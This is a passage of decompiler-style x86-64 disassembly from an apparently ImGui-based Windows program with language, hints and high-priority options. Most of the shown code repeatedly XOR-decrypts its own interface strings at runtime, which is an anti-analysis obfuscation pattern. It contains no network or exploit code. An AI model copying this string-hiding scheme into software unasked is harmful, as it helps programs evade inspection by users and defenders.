pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140078d50
jmp 0x140078e93
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140078e60
xor eax, eax
movaps xmm3, xmm10
mov dword [rsp + 0x28], eax
movaps xmm2, xmm9
lea rax, str._.3f
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x140078ee1
cmp byte [0x1400aef77], 1
jne 0x140078ee1
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078ee1
lea rcx, [0x1400a0500]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400790db
lea rdx, [rbp + 0x7e0]
mov byte [rbp + 0x43], 0
lea rcx, [rbp + 0x43]
call fcn.1400885e0
xor ebx, ebx
mov r10, rax
cmp byte [rax + 0xb], bl
je 0x140079071
mov r8d, ebx
cmp esi, 2
jl 0x14007902c
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140079040
movss xmm3, dword [0x1400a200c]
lea rax, str._.3f
movss xmm2, dword [0x1400a1fe0]
mov rdx, rdi
mov dword [rsp + 0x28], ebx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.140045d70
cmp byte [0x1400ae053], 1
jne 0x1400790b9
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x1400790dd
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400790dd
lea rcx, str.Minimum_width_height_of_a_grab_box_for_slider_scrollbar.
call fcn.1400161e0
jmp 0x1400790dd
xor ebx, ebx
cmp byte [0x1400aef77], 0
je 0x1400792f5
lea rdx, [rbp + 0x2ea0]
mov byte [rbp + 0x44], 0
lea rcx, [rbp + 0x44]
call fcn.140088600
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400792a1
mov r8d, ebx
cmp esi, 2
jl 0x140079269
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x38
jl 0x140079160
cmp r8d, 0x3a
jge 0x1400792a1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140079270
movss xmm3, dword [0x1400a200c]
lea rax, str._.3f
movss xmm2, dword [0x1400a1fe0]
mov rdx, rdi
mov dword [rsp + 0x28], ebx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x1400792f5
cmp byte [0x1400aef77], 1
jne 0x1400792f5
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400792f5
lea rcx, str._______.
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400794e9
lea rdx, [rbp + 0x920]
mov byte [rbp + 0x45], 0
lea rcx, [rbp + 0x45]
call fcn.140088640
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140079481
mov r8d, ebx
cmp esi, 2
jl 0x14007943f
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140079450
movss xmm3, dword [0x1400a1fec]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [r14 + 0x16b4]
movaps xmm2, xmm10
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.140045d70
cmp byte [0x1400ae053], 1
jne 0x1400794c9
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x1400794e9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400794e9
lea rcx, str.Radius_of_grabs_corners_rounding._Set_to_0.0f_to_have_rectangular_slider_grabs.
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140079705
lea rdx, [rbp + 0x2ee0]
mov byte [rbp + 0x46], 0
lea rcx, [rbp + 0x46]
call fcn.140088670
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x1400796b1
mov r8d, ebx
cmp esi, 2
jl 0x140079679
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x38
jl 0x140079570
cmp r8d, 0x3e
jge 0x1400796b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x3e
jl 0x140079680
movss xmm3, dword [0x1400a1fec]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [r14 + 0x16b4]
movaps xmm2, xmm10
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x140079705
cmp byte [0x1400aef77], 1
jne 0x140079705
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079705
lea rcx, str.___.__0.0f______.
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140079939
lea rdx, [rbp + 0x1608]
mov byte [rbp + 0x47], 0
lea rcx, [rbp + 0x47]
call fcn.1400886c0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400798d1
mov r8d, ebx
cmp esi, 2
jl 0x140079899
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140079790
cmp r8d, 0x11
jge 0x1400798d1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400798a0
movss xmm3, dword [0x1400a1f80]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [r14 + 0x1650]
movaps xmm2, xmm9
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.140045d70
cmp byte [0x1400ae053], 1
jne 0x140079919
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140079939
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079939
lea rcx, str.Thickness_of_border_around_windows._Generally_set_to_0.0f_or_1.0f.__Other_values_are_not_well_tested_and_more_CPU_GPU_costly_.
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140079b55
lea rdx, [rbp + 0x2860]
mov byte [rbp + 0x48], 0
lea rcx, [rbp + 0x48]
call fcn.1400886e0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140079b01
mov r8d, ebx
cmp esi, 2
jl 0x140079ac9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400799c0
cmp r8d, 0x2b
jge 0x140079b01
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140079ad0
movss xmm3, dword [0x1400a1f80]
lea rax, str._.3f
mov dword [rsp + 0x28], ebx
lea rdx, [r14 + 0x1650]
movaps xmm2, xmm9
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x140079b55
cmp byte [0x1400aef77], 1
jne 0x140079b55
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079b55
lea rcx, str.___.____0.0f__1.0f.___________CPU_GPU_.
call fcn.1400161e0
lea rdx, [rbp + 0x240]
mov byte [rbp + 0x49], 0
lea rcx, [rbp + 0x49]
call fcn.140088720
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140079b8a
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
lea rdx, [0x1400aeff4]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140079bb9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079bb9
lea rcx, str.Hints
call fcn.1400161e0
lea rdx, [rbp + 0xc8]
mov byte [rbp + 0x4a], 0
lea rcx, [rbp + 0x4a]
call fcn.140088740
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140079be2
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
lea rdx, [0x1400aef77]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140079c11
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079c11
lea rcx, str.Russian_language
call fcn.1400161e0
lea rdx, [rbp + 0xcc]
mov byte [rbp + 0x4b], 0
lea rcx, [rbp + 0x4b]
call fcn.140088760
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140079c3a
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
lea rdx, [0x1400ae053]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140079c69
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140079c69
lea rcx, str.English_language
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14007a444
lea rdx, [rbp + 0xc60]
mov byte [rbp + 0x4c], 0
lea rcx, [rbp + 0x4c]
call fcn.140088780
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140079e33
mov r8d, ebx
cmp esi, 2
jl 0x140079df3
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, ebx
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140079cf0
jmp 0x140079e33
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140079e00
lea rdx, [0x1400ae052]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae052], 1
jne 0x14007a444
lea rdx, [rbp + 0x9a0]
mov byte [rbp + 0x4d], 0
lea rcx, [rbp + 0x4d]
call fcn.140088790
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140079fd1
mov r8d, ebx
cmp esi, 2
jl 0x140079f8c
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140079fa0
lea rdx, [0x1400ae050]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae050], 1
jne 0x14007a022
mov byte [0x1400aeff5], 0
mov byte [0x1400aef76], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007a022
lea rcx, str.High_Priority
call fcn.1400161e0
lea rdx, [rbp + 0x16e0]
mov byte [rbp + 0x4e], 0
lea rcx, [rbp + 0x4e]
call fcn.1400887c0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14007a1e1
mov r8d, ebx
cmp esi, 2
jl 0x14007a1a9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
